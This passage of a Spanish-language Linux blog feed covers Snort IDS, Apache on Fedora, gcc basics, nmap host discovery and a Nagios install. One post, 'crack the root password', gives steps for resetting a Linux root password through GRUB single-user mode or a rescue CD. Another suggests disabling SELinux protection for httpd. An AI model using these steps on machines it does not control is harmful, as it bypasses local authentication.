/&gt;&lt;br /&gt;• Los IDS: aumentan la seguridad de nuestro sistema, vigilan el tráfico de nuestra red, examinan los paquetes analizándolos en busca de datos sospechosos y detectan las primeras fases de cualquier ataque como pueden ser el análisis de nuestra red, barrido de puertos, etc. &lt;br /&gt;&lt;br /&gt;Tipos de IDS &lt;br /&gt;&lt;br /&gt;1. HIDS (Host IDS)&lt;br /&gt;&lt;br /&gt;Protege contra un único Servidor, PC o host. Monitorizan gran cantidad de eventos, analizando actividades con una gran precisión, determinando de esta manera qué procesos y usuarios se involucran en una determinada acción. Recaban información del sistema como ficheros, logs, recursos, etc, para su posterior análisis en busca de posibles incidencias. Todo ello en modo local, dentro del propio sistema. Fueron los primeros IDS en desarrollar por la industria de la seguridad informática.&lt;br /&gt;&lt;br /&gt;2. NIDS (Net IDS) &lt;br /&gt;&lt;br /&gt;Protege un sistema basado en red. Actúan sobre una red capturando y analizando paquetes de red, es decir, son sniffers del tráfico de red. Luego analizan los paquetes capturados, buscando patrones que supongan algún tipo de ataque.&lt;br /&gt;&lt;br /&gt;Bien ubicados, pueden analizar grandes redes y su impacto en el tráfico suele ser pequeño. Actúan mediante la utilización de un dispositivo de red configurado en modo promiscuo (analizan, "ven" todos los paquetes que circulan por un segmento de red aunque estos nos vayan dirigidos a un determinado equipo). Analizan el trafico de red, normalmente, en tiempo real. No sólo trabajan a nivel TCP/IP, también lo pueden hacer a nivel de aplicación. &lt;br /&gt;&lt;br /&gt;Otros tipos son los híbridos. &lt;br /&gt;Por el tipo de respuesta podemos clasificarlos en: &lt;br /&gt;Pasivos: Son aquellos IDS que notifican a la autoridad competente o administrador de la red mediante el sistema que sea, alerta, etc. Pero no actúa sobre el ataque o atacante. &lt;br /&gt;&lt;br /&gt;Activos: Generan algún tipo de respuesta sobre el sistema atacante o fuente de ataque como cerrar la conexión o enviar algún tipo de respuesta predefinida en nuestra configuración. &lt;br /&gt;&lt;br /&gt;Snort puede funcionar de las dos maneras. &lt;br /&gt;Arquitectura de un IDS&lt;br /&gt;&lt;br /&gt;Normalmente la arquitectura de un IDS, a grandes rasgos, está formada:&lt;br /&gt;1. La fuente de recogida de datos. Estas fuentes pueden ser un log, dispositivo de red, o como en el caso de los IDS basados en host, el propio sistema. &lt;br /&gt;2. Reglas que contienen los datos y patrones para detectar anomalías de seguridad en el sistema. &lt;br /&gt;3. Filtros que comparan los datos snifados de la red o de logs con los patrones almacenados en las reglas. &lt;br /&gt;4. Detectores de eventos anormales en el tráfico de red. &lt;br /&gt;5. Dispositivo generador de informes y alarmas. En algunos casos con la sofisticación suficiente como para enviar alertas vía mail, o SMS. &lt;br /&gt;Esto es a modo general. Cada IDS implementa la arquitectura de manera diferente.&lt;br /&gt;Dónde colocar el IDS&lt;br /&gt;&lt;br /&gt;Una actitud paranoica por nuestra parte nos podría llevar a instalar un IDS en cada host ó en cada tramo de red. Esto último sería un tanto lógico cuando se trata de grandes redes, no es nuestro caso ahora. Lo lógico sería instalar el IDS en un dispositivo por donde pase todo el tráfico de red que nos interese. &lt;br /&gt;Dificultades&lt;br /&gt;&lt;br /&gt;Un problema de los IDS es cuando queremos implementarlos en redes conmutadas ya que no hay segmento de red por donde pase todo el tráfico. Otro problema para un IDS son las redes con velocidades de tráfico muy altas en las cuales es difícil procesar todos los paquetes. &lt;br /&gt;&lt;br /&gt;Posición del IDS &lt;br /&gt;&lt;br /&gt;Si colocamos el IDS antes del cortafuegos capturaremos todo el tráfico de entrada y salida de nuestra red. La posibilidad de falsas alarmas es grande. &lt;br /&gt;&lt;br /&gt;La colocación detrás del cortafuegos monitorizará todo el tráfico que no sea detectado y parado por el firewall o cortafuegos, por lo que será considerado como malicioso en un alto porcentaje de los casos. La posibilidad de falsas alarmas muy inferior. &lt;br /&gt;&lt;br /&gt;Algunos administradores de sistemas colocan dos IDS, uno delante y otro detrás del cortafuegos para obtener información exacta de los tipos de ataques que recibe nuestra red ya que si el cortafuegos está bien configurado puede parar o filtras muchos ataques. &lt;br /&gt;&lt;br /&gt;En ambientes domésticos, que es el propósito de este taller sobre IDS y Snort, podemos colocar el IDS en la misma máquina que el cortafuegos. En este caso actúan en paralelo, es decir, el firewall detecta los paquetes y el IDS los analizaría. &lt;br /&gt;&lt;br /&gt;Introducción a Snort&lt;br /&gt;&lt;br /&gt;Snort es un IDS o Sistema de detección de intrusiones basado en red (NIDS). Implementa un motor de detección de ataques y barrido de puertos que permite registrar, alertar y responder ante cualquier anomalía previamente definida como patrones que corresponden a ataques, barridos, intentos aprovechar alguna vulnerabilidad, análisis de protocolos, etc conocidos. Todo esto en tiempo real.&lt;br /&gt;&lt;br /&gt;Snort (http://www.snort.org/) está disponible bajo licencia GPL, gratuito y funciona bajo plataformas Windows y UNIX/Linux. Es uno de los más usados y dispone de una gran cantidad de filtros o patrones ya predefinidos, así como actualizaciones constantes ante casos de ataques, barridos o vulnerabilidades que vayan siendo detectadas a través de los distintos boletines de seguridad.&lt;br /&gt;&lt;br /&gt;Este IDS implementa un lenguaje de creación de reglas flexibles, potente y sencillo. Durante su instalación ya nos provee de cientos de filtros o reglas para backdoor, ddos, finger, ftp, ataques web, CGI, escaneos Nmap....&lt;br /&gt;&lt;br /&gt;Puede funcionar como sniffer (podemos ver en consola y en tiempo real qué ocurre en nuestra red, todo nuestro tráfico), registro de paquetes (permite guardar en un archivo los logs para su posterior análisis, un análisis offline) o como un IDS normal (en este caso NIDS).&lt;br /&gt;&lt;br /&gt;En este taller daremos una importancia mayor a su funcionamiento como NIDS y, sobre todo, a la creación personalizada de reglas e interpretación de las alertas.&lt;br /&gt;&lt;br /&gt;La colocación de Snort en nuestra red puede realizarse según el tráfico quieren vigilar: paquetes que entran, paquetes salientes, dentro del firewall, fuera del firewall... y en realidad prácticamente donde queramos.&lt;br /&gt;&lt;br /&gt;Una característica muy importante e implementada desde hace pocas versiones es FlexResp. Permite, dada una conexión que emita tráfico malicioso, darla de baja, hacerle un DROP mediante el envío de un paquete con el flag RST activa, con lo cual cumpliría funciones de firewall, cortando las conexiones que cumplan ciertas reglas predefinidas. No sólo corta la conexiones ya que puede realizar otras muchas acciones. Veremos más adelante su funcionamiento y ejemplos. &lt;br /&gt;&lt;br /&gt;NOTA: Todos los ejemplos, mientras no se indique lo contrario, serán válidos para win32 y Linux/UNIX.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-7690878035965392465?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/7690878035965392465/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=7690878035965392465' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/7690878035965392465'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/7690878035965392465'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/01/ids-y-snort.html' title='IDS y Snort'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-8657264390846736261</id><published>2008-01-09T08:33:00.000-08:00</published><updated>2008-01-10T08:05:26.032-08:00</updated><title type='text'></title><content type='html'>Apache en FC8&lt;br /&gt;&lt;p&gt;Bueno empecemos con saber que es y para que sirve apache .pues Hypertext Transfer Protocol, o Protocolo de Trasferencia de Hipertext, es el método utilizado para transferir o transportar información en la Red Mundial (WWW, World Wide Web). Su propósito original fue el proveer una forma de publicar y recupertar documentos HTML.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;HTTP es un protocolo de solicitud y respuesta a través de TCP, entre agentes de usuario (Navegadores, motores de índice y otras herramientas) y servidores, regularmente utilizando el puerto 80. Entre la comunicación entre éstos puede intervenir como servidores Intermediarios (Proxies), puertas de enlace y túneles. tmb podemos modificar a apache para que escuche en otro puerto por aquello de la seguridad.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Acerca de Apache.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;http://www.apache.org/&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Apache es un servidor HTTP, de código abierto y licenciamiento libre, que funciona en Linux, sistemas operativos derivados de Unix™, Windows, Novell Netware y otras plataformas. Ha desempeñado un papel muy importante en el crecimiento de la red mundial, y continua siendo el servidor HTTP más utilizado, siendo además el servidor de facto contra el cual se realizan las pruebas comparativas y de desempeño para otros productos competidores. Apache es desarrollado y mantenido por una comunidad de desarrolladores auspiciada por Apache Software Foundation.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;la &lt;strong&gt;instalacion&lt;/strong&gt; consta de varias partes pero tmb debemos tener en cuenta la vision de nuestro servicio a futuro. y saber que modulos vamos a necesitar &lt;/p&gt;&lt;p&gt;&lt;br /&gt;a traves de la herramienta de gestion de paquetes YUM para distros basados en rh&lt;/p&gt;&lt;p&gt;&lt;br /&gt;ekxo@victoria:~$yum -y install httpd php php-mysql mod_perl mod_python mod_ssl&lt;/p&gt;&lt;p&gt;&lt;br /&gt;si queremos que Apache incluya soporte para PHP/MySQL, Perl, Python y SSL/TLS&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Iniciar servicio y añadir el servicio al arranque del sistema.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Apache es un servicio que por fortuna solo es necesario instalar e iniciar. No requiere modificaciones adicionales para su funcionamiento básico. Para añadir el servicio a los servicios que inician junto con el sistema, solo basta ejecutar:&lt;/p&gt;&lt;p&gt;&lt;br /&gt;ekxo@victoria:~$chkconfig httpd on .. aqui añadimos el servicio al arranque del sistema.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;ekxo@victoria:~serrvice httpd start .. arracamos&lt;/p&gt;&lt;p&gt;ekxo@victoria:~$service httpd stop .. paramos&lt;/p&gt;&lt;p&gt;&lt;br /&gt;ekxo@victoria:~$service httpd reload .. recargamos el ficero de configuracion&lt;/p&gt;&lt;p&gt;&lt;br /&gt;SELinux y Apache.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Con núcleo 2.6 basada sobre Red Hat™ Enterprise Linux 4.0, como serían CentOS 4.0 o White Box Enterprise Linux 4.0 en adelante, éstas incluyen SELinux que añade seguridad adicional a Apache, sin embargo algunas opciones impedirán utilizar ciertas funciones en Apache, como directorios virtuales. Ejecute system-config-securitylevel desde el modo gráfico y active la casilla que dice «Disable SELinux Protection for httpd daemon» Si no tiene planeado utilizar directorios virtuales, puede dejar desactivada la casilla y aprovechar toda la seguridad adicional que brinda SELinux.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;UTF-8&lt;/p&gt;&lt;p&gt;&lt;br /&gt;  UTF-8 es un método de codificación de ASCII para Unicode (ISO-10646), el Conjunto de Caracteres Universal o UCS. éste codifica la mayoría de los sistemas de escritura del mundo en un solo conjunto de caracteres, permitiendo la mezcla de lenguajes y guiones en un mismo documento sin la necesidad de ajustes para realizar los cambios de conjuntos de caracteres. &lt;/p&gt;&lt;p&gt;&lt;br /&gt;Edite el fichero /etc/httpd/conf/httpd.conf y localice lo siguiente:&lt;/p&gt;&lt;p&gt;&lt;br /&gt;AddDefaultCharset UTF-8 si no quieres estre metodo de codificacion pon en ves de eso, esto AddDefaultCharset Off&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Ficheros de configuración.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-8657264390846736261?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/8657264390846736261/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=8657264390846736261' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/8657264390846736261'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/8657264390846736261'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/01/apache-en-fc8-bueno-empecemos-con-saber.html' title=''/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-7167334329734391295</id><published>2008-01-08T17:19:00.000-08:00</published><updated>2008-01-08T17:27:53.451-08:00</updated><title type='text'></title><content type='html'>&lt;span style="font-weight: bold; font-family: verdana; color: rgb(255, 0, 0);"&gt;Programacion en c&lt;/span&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;Qué es gcc?&lt;/strong&gt;&lt;/p&gt;&lt;strong&gt;&lt;p&gt;&lt;br /&gt;El GNU cc (conocido como gcc) es el conjunto de compiladores que comprenden soporte para c,c++,o dirigido a objetos. Cabe mencionar que tambien compila FORTRAN fue creado por RICHARD STALLMAN EN EL 87 ha sido portado a mas arquitecturas que nigunno otro ya veran por que en fin ,se usa para desarrollar otros sistemas como BSDS o MAC OS X.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;¿Cómo invocamos a gcc?&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Para invocar a gcc, sólo tenemos que hacer desde la linea de comandos lo siguiente:&lt;/p&gt;&lt;p&gt;&lt;br /&gt;root@Byka:/home/ekxo# gcc nombre_de_código  &lt;/p&gt;&lt;p&gt;&lt;br /&gt;Entonces, si en nuestro código gcc no detecta problemas, hará preprocesado, compilación, ensamblaje, y vinculación creando un archivo binario llamado a.out La manera más usual de invocar a gcc es la que nos permite nombrar a nuestro binario, así:&lt;/p&gt;&lt;p&gt;&lt;br /&gt;root@Byka:/home/ekxo#gcc nombre_de_código -o nombre_de_binario &lt;/p&gt;&lt;p&gt;&lt;br /&gt;Creando el archivo binario que fue especificado mediante el argumento -o, o sea nombre_de_binario&lt;/p&gt;&lt;p&gt;&lt;br /&gt;ejemplo&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Los sistemas LINUX/UNIX son entornos de programación muy amigables, no es posible describir con exactitud porque, tal vez se deba al hecho de que estos sistemas están construidos con el lenguaje C (C fue diseñado para el sistema operativo UNIX). Bien, para escribir código C, basta con tomar nuestro editor de textos favorito (vi, ee, pico, etc.) crear el archivo y guardarlo con extensión c, como ejemplo:&lt;/p&gt;&lt;p&gt;&lt;br /&gt;*********************************************************************************&lt;/p&gt;&lt;p&gt;&lt;br /&gt;/*mensaje.c; programa que imprime un mensaje en pantalla*/&lt;/p&gt;&lt;p&gt;#include &lt;stdio.h&gt;&lt;/stdio.h&gt;&lt;/p&gt;&lt;p&gt;int main()&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;printf("La sintaxis básica es:gcc nombre_de_código -o nombre_de_binario");&lt;/p&gt;&lt;p&gt;return 0;&lt;/p&gt;&lt;p&gt;} &lt;/p&gt;&lt;p&gt;&lt;br /&gt;**********************************************************************************&lt;/p&gt;&lt;p&gt;Guardamos este código con el nombre mensaje.c y compilamos &gt;:-&gt; :&lt;/p&gt;&lt;p&gt;root@Byka:/home/ekxo#gcc mensaje.c -o mensaje&lt;/p&gt;&lt;p&gt;Para Correr (o ejecutar) el programa, basta con hacer:&lt;/p&gt;&lt;p&gt;root@Byka:/home/ekxo#./mensaje&lt;/p&gt;&lt;/strong&gt;&lt;div style="text-align: justify; font-weight: bold;"&gt;La compilación de un programa consiste en varias etapas, y que por lo general nosotros no observamos, pues gcc las lleva a cabo de manera encubierta, por decirlo de algún modo, así que veamos el proceso de compilación paso a paso, para ello nos auxiliaremos con el código de mensaje.c; básicamente lo que hace gcc es correr mensaje.c sobre el preprocesador , cpp, para expandir cualquier macro que pudiese haber e insertar también los contenidos de los archivos que incluimos mediante #include; la segunda etapa es compilar el código fuente prepocesado, para convertirlo en código objeto; por último y con ayuda de ld, llamado linker, crea el binario llamado mensaje.&lt;br /&gt;                        &lt;/div&gt;&lt;span style="font-weight: bold;"&gt;  Hagamos todo esto manualmente:&lt;/span&gt;&lt;br /&gt;                        &lt;br /&gt;                        &lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  1.- para preprocesar mensaje.c:&lt;/span&gt;&lt;br /&gt;                        &lt;br /&gt;                         &lt;strong style="font-weight: bold;"&gt;&lt;strong&gt;root@Byka:/home/ekxo#&lt;/strong&gt;&lt;/strong&gt;&lt;span style="font-weight: bold;"&gt;gcc -E mensaje.c -o mensaje.cpp &lt;/span&gt;&lt;br /&gt;                        &lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  2.- Hagamos la conversión de mensaje.cpp en código objeto.&lt;/span&gt;&lt;br /&gt;                        &lt;br /&gt;                         &lt;strong style="font-weight: bold;"&gt;&lt;strong&gt;root@Byka:/home/ekxo#&lt;/strong&gt;&lt;/strong&gt;&lt;span style="font-weight: bold;"&gt;gcc -x cpp-output -c mensaje.cpp -o mensaje.o &lt;/span&gt;&lt;br /&gt;                        &lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  3.- Ahora creemos el binario&lt;/span&gt;&lt;br /&gt;                        &lt;br /&gt;                         &lt;strong style="font-weight: bold;"&gt;&lt;strong&gt;root@Byka:/home/ekxo#&lt;/strong&gt;&lt;/strong&gt;&lt;span style="font-weight: bold;"&gt;gcc mensaje.o -o mensaje &lt;/span&gt;&lt;br /&gt;                        &lt;br /&gt;                         &lt;div style="text-align: justify; font-weight: bold;"&gt;Lo anterior tiene utilidad si por ejemplo se presentan problemas entre algunos de los archivos incluidos mediante #include y nuestro código fuente, así mediante la compilación paso a paso es más fácil detectar que archivos son lo que producen conflicto. Para ilustrarlo, basta con que tomemos un editor de texto, y veamos el contenido del archivo mensaje.cpp. pero da hueva no!!! jaa&lt;br /&gt;&lt;/div&gt;&lt;strong style="font-weight: bold;"&gt;&lt;p&gt; &lt;/p&gt;&lt;/strong&gt;&lt;p style="font-weight: bold;"&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-7167334329734391295?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/7167334329734391295/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=7167334329734391295' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/7167334329734391295'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/7167334329734391295'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/01/programacion-en-c-qu-es-gcc-el-gnu-cc.html' title=''/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-1294583361105921214</id><published>2008-01-07T07:51:00.000-08:00</published><updated>2008-01-07T07:57:46.724-08:00</updated><title type='text'>crack the root password</title><content type='html'>Tocando el tema de la seguridad el desarrollo de linux ha estado evolucionando tmb dejando backdoors,de salidas alternas ,que en realidad son temas para los administradores de sistemas pero bueno aqui esta una de ellas.&lt;br /&gt;&lt;br /&gt;&lt;div class="scrapBody"&gt;    &lt;p&gt;METHOD 1&lt;br /&gt;Here are the all steps to change password for root in linux:&lt;br /&gt;1)when u reached at the grub screen press 'e' on linux&lt;br /&gt;2)line which contains the word 'kernell' press 'e'&lt;br /&gt;3)go to end of that line and write 'linux single'&lt;br /&gt;4)the press 'esc' twice and press 'b' to reboot the system&lt;br /&gt;5) now wait for the prompt u get, write easy command there:&lt;br /&gt;passwd root&lt;br /&gt;&lt;br /&gt;OR&lt;br /&gt;&lt;br /&gt;METHOD 2&lt;br /&gt;Please try out the following steps to change the root password:&lt;br /&gt;1. Boot the computer with Linux Installation CD.&lt;br /&gt;2. Enter into Linux Rescue mode by enering the following command in boot screen.&lt;br /&gt;boot: linux rescue&lt;br /&gt;3. When the sh prompt is reached, enter the following commands to change root password.&lt;br /&gt;#chroot /mnt/sysimage&lt;br /&gt;#passwd&lt;br /&gt;The above steps will prompt you to enter your new password.&lt;/p&gt;&lt;p&gt;ekxo&lt;br /&gt;&lt;/p&gt;  &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-1294583361105921214?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/1294583361105921214/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=1294583361105921214' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/1294583361105921214'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/1294583361105921214'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/01/crack-root-password.html' title='crack the root password'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-7196759102015138055</id><published>2007-12-26T16:34:00.000-08:00</published><updated>2007-12-26T17:03:31.099-08:00</updated><title type='text'>Descubriendo con NMAP</title><content type='html'>Bueno  nmap es una herramienta de auditoria informatica asi como un arma de 2 filos jee en fin si queremos descubrir que hay en una red es decir que dispositovos existen prendido su ip,mac,so,puertos ,estado de ellos pues ahi les va&lt;br /&gt;&lt;br /&gt;host discovery es un término que yo uso para describir una determinada fase de un test de intrusión, Donde se trata de determinar el acceso a las máquinas de una red. Muchas veces Si una de reglas de firewall está escrito explícitamente, es difícil determinar con exactitud ,Número de hosts que se encuentra detrás de un firewall. Un amigo mío emitieron recientemente uno con un escáner comercial en contra de una clase C y encontró sólo un huésped.&lt;br /&gt;&lt;br /&gt;El uso de las técnicas descritas en este trabajo, he podido determinar que existe,No es sólo uno, sino diecisiete anfitriones en esta zona desmilitarizada.&lt;br /&gt;este Escáner dispone de muy pocas opciones para el descubrimiento de acogida, y no es muy configurable ,Cuando se trata de ajustes para el método de descubrimiento.&lt;br /&gt;&lt;br /&gt;Dado que este artículo trata de las nmap y descubrimiento  le hable, específicamente, sobre Cómo nmap hace su descubrimiento, y aprenderemos a utilizar las opciones de nmap  Mejorar la fase de descubrimiento de un test de intrusión o de la evaluación de la vulnerabilidad.&lt;br /&gt;&lt;br /&gt;Hay tres fases distintas con el mando por encima de nmap. Ellos son:&lt;br /&gt;      1) Host descubrimiento&lt;br /&gt;      2) Puerto escaneado&lt;br /&gt;      3) OS fingerprinting&lt;br /&gt;&lt;br /&gt;Dado que este estudio está centrado en el descubrimiento de host vamos a tomar una visión en mas profunda La primera fase de nmap, salvo los dos últimos.&lt;br /&gt;&lt;br /&gt;Nota: Es posible deshabilitar el descubrimiento de la fase de exploración (con la P0 -&lt;br /&gt;Opción), y decirle nmap pasar directamente a la fase de escaneo de puertos.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-7196759102015138055?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/7196759102015138055/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=7196759102015138055' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/7196759102015138055'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/7196759102015138055'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2007/12/descubriendo-con-nmap.html' title='Descubriendo con NMAP'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-9097216939460932462</id><published>2007-12-26T15:57:00.000-08:00</published><updated>2008-02-07T12:30:17.941-08:00</updated><title type='text'>NAGIOS : SISTEMA DE MONITOREO PARA REDES</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_X3QcW21Qw2k/R6tp7YnwQhI/AAAAAAAAAD0/7GhPRO6ksyA/s1600-h/Pantallazo.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_X3QcW21Qw2k/R6tp7YnwQhI/AAAAAAAAAD0/7GhPRO6ksyA/s200/Pantallazo.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5164337866652795410" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_X3QcW21Qw2k/R5-JTonwQVI/AAAAAAAAACQ/Sa17gKaBqSE/s1600-h/statusmap-tree.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_X3QcW21Qw2k/R5-JTonwQVI/AAAAAAAAACQ/Sa17gKaBqSE/s320/statusmap-tree.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5160994668404556114" /&gt;&lt;/a&gt;&lt;br /&gt;Hola !!! PUES BUENO NO SOY BUENO ESCRIBIENDO BLOQ'S PERO ME LATE LA IDEA DE COMPARTIR LA INFORMACION Y CREAR COMUNIDADES DE CONOCIMIENTO DENTRO DE VARIOS AMBITOS EN FIN BUENO LES PLATICO&lt;br /&gt;¿QUE ES NAGIOS?&lt;br /&gt;&lt;br /&gt;NAGIOS ES UN SISTEMA DE MONITOREO DE DISPOSITIVOS DENTRO DE UNA RED Y NOS BRINDA LA FACILIDAD DE MONITOREAR HOST,SWITCHES,ROUTERS, ETC ... Y NO SOLO ESO SI NO TAMBIEN LSO SERVICIOS,PROCESOS,USUARIOS,TEMPERATURA ,FRECUENCIA DEL FAN Y OTROS DETALLES DEL DEVICE QUE VAYAMOS A MONITOREAR , ES UNA SERVICIO MUY IMPORTANTE SI NUESTRA CHAMBA ES SER UN TI Y ADMINISTRAR UNA NOC . ADEMAS ES OPENSOURCE CON LICENCIA GPL . BUENO VAYAMOS A LA INSTALACION. EN MI CASO SERA EN UN SERVIDOR HP CON UNA DISTRO FEDORA CORE 8. Linux desarrollo 2.6.23-1.3194.fc8 #1 SMP Wed May 23 22:35:01 EDT 2007 i686 i686 i386 GNU/Linux&lt;br /&gt;concidero que ya tenemos apache,linux, etc..&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;&lt;br /&gt;Requisitos del sistema para Nagios&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;El único requisito de funcionamiento de Nagios es una máquina corriendo Linux (o variante de UNIX) y un COMPILADOR GCC . Probablemente desee tener TCP / IP configurado, ya que la mayoría de los controles de servicios SE Realizan a través de la red.&lt;br /&gt;&lt;br /&gt;No está obligado a utilizar los CGIs incluido con Nagios. Sin embargo, si decidimos utilizarlos&lt;br /&gt;tendrá que tener el siguiente software instalado.&lt;br /&gt;&lt;br /&gt;Un servidor web (Apache preferentemente), Thomas Boutell gd biblioteca de la versión 1.6.3 o superior (obligatorio . Por el statusmap y tendencias CGIs)&lt;br /&gt; &lt;br /&gt;  